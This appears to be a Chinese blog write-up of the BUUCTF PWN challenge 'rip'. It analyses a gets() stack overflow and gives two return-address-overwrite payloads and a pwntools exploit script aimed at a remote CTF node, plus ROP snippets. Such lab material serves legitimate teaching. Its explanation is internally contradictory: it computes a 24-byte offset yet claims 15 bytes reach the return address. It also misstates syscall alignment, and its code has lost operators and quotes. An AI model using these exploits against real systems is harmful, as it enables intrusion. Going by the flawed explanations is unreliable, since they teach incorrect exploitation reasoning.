避坑指南:BUUCTF PWN题‘RIP’的两种payload写法详解(含Python pwntools脚本)

张开发
2026/4/14 10:11:57 15 分钟阅读

分享文章

避坑指南:BUUCTF PWN题‘RIP’的两种payload写法详解(含Python pwntools脚本)
BUUCTF PWN题‘RIP’的栈溢出实战从原理到payload构造的深度解析第一次看到BUUCTF上这道名为RIP的PWN题时我本以为是个简单的栈溢出入门题。但当我尝试复现网上各种Writeup中的payload时却发现有些能成功有些却莫名其妙地失败。更令人困惑的是通过IDA静态分析得出的payload长度与网上流传的版本相差甚远——这让我意识到这道题背后隐藏着许多值得深挖的细节。1. 题目环境与初步分析拿到题目文件后我习惯性地先用checksec检查保护机制$ checksec pwn1 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)从输出可以看出这是个64位程序开启了NX保护栈不可执行但没有栈保护canary和地址随机化PIE。这意味着我们可以放心地进行栈溢出攻击但需要面对64位环境下的一些特殊考量。用IDA打开程序很快就能定位到漏洞点——main函数中那个毫无防护的gets调用int __cdecl main(int argc, const char **argv, const char **envp) { char s[15]; // [rsp0h] [rbp-10h] BYREF gets(s); return 0; }2. 两种payload的奥秘在调试过程中我发现了两种看似都能成功的payload构造方式第一种短payloadpayload ba*15 p64(0x401186)第二种长payloadpayload ba*23 p64(0x401198) p64(0x401186)为什么两种长度差异如此之大的payload都能成功要理解这一点我们需要深入分析栈帧布局。2.1 栈帧布局分析通过IDA的Stack of main视图我们可以看到局部变量s的存储位置偏移量内容大小rbp-10hchar s[15]15rbp-8h(对齐填充)1rbp保存的rbp值8rbp8h返回地址8这里的关键在于64位环境下的栈对齐要求。虽然s只声明了15字节但编译器会额外填充1字节来保证16字节对齐。因此从s到返回地址的实际偏移是15(s) 1(填充) 8(rbp) 24字节但为什么15字节的payload也能工作这是因为gets函数会一直读取输入直到遇到换行符完全无视缓冲区大小。当输入15个a时前15字节填满s数组接下来的1字节覆盖对齐填充然后开始覆盖rbp但程序后续并不使用这个值最后覆盖返回地址2.2 关键函数分析程序中有个隐藏的fun()函数正是我们想要跳转的目标.text:0000000000401186 push rbp .text:0000000000401187 mov rbp, rsp .text:000000000040118A mov rax, 3Bh ; sys_execve .text:0000000000401191 syscall ; LINUX - sys_execve这个函数直接执行了execve系统调用编号0x3B。在正常情况下这会导致程序崩溃但在CTF环境中这通常意味着成功获取了shell。3. pwntools实战脚本开发基于以上分析我们可以编写更健壮的exp脚本。以下是经过实战检验的版本#!/usr/bin/env python3 from pwn import * context(archamd64, oslinux) # context.log_level debug def exploit(): # 两种payload任选其一 payload_short ba*15 p64(0x401186) payload_long ba*23 p64(0x401198) p64(0x401186) # 自动选择可用的payload for payload in [payload_short, payload_long]: try: # p process(./pwn1) p remote(node3.buuoj.cn, 26692) # 有些题目recvuntil会超时这里设置超时并直接发送 p.settimeout(2) p.sendline(payload) # 尝试交互 p.sendline(becho success) if bsuccess in p.recv(timeout1): p.interactive() return except: p.close() continue log.error(All payloads failed!) if __name__ __main__: exploit()这个脚本有几个实用技巧自动尝试两种payload提高成功率设置合理的超时时间避免卡死通过发送测试命令验证是否真的获取了shell完善的错误处理机制4. 调试技巧与常见问题解决在实际操作中有几个常见问题需要注意问题1recvuntil超时有些题目服务器响应不规范直接使用recvuntil会导致超时。解决方案是设置合理的超时时间p.settimeout(2)必要时直接发送payload跳过欢迎信息问题2如何验证栈布局使用gdb调试时可以在gets调用前后下断点观察栈内存变化gdb ./pwn1 b *main35 # gets调用前 b *main40 # gets调用后 r $(python3 -c print(A*15 \x86\x11\x40\x00\x00\x00\x00\x00)) x/10xg $rsp # 查看栈内存问题3为什么需要ret gadget在长payload中0x401198地址对应一个ret指令.text:0000000000401198 retn这个gadget的作用是保证栈对齐。在64位Linux下调用系统调用时rsp必须16字节对齐否则可能会失败。通过增加一个ret指令我们让rsp多移动8字节确保对齐正确。5. 进阶思考构建更可靠的exploit在实际CTF比赛中我们需要考虑更多边界情况。以下是一些改进思路自动化偏移探测编写脚本自动探测正确的偏移量def find_offset(): for i in range(10, 30): try: p process(./pwn1) payload cyclic(i) p64(0x401186) p.sendline(payload) p.recv(timeout1) p.close() except: log.info(fPossible offset: {i}) return i多阶段payload当一次溢出空间不足时考虑分阶段注入# 第一阶段泄漏地址 payload ba*24 p64(pop_rdi) p64(puts_got) p64(puts_plt) # 第二阶段发送主payload环境适配检测远程环境并自动调整if args.REMOTE: libc ELF(./libc.so.6) else: libc ELF(/lib/x86_64-linux-gnu/libc.so.6)在解决这道题的过程中最让我印象深刻的是认识到栈对齐的重要性。起初我怎么也想不明白为什么网上那些payload在我的环境中会失败直到我单步调试看到系统调用因栈不对齐而崩溃时才恍然大悟。这也提醒我们在编写exploit时不能仅仅满足于让它能工作而是要深入理解背后的原理这样才能应对各种变种题目。

更多文章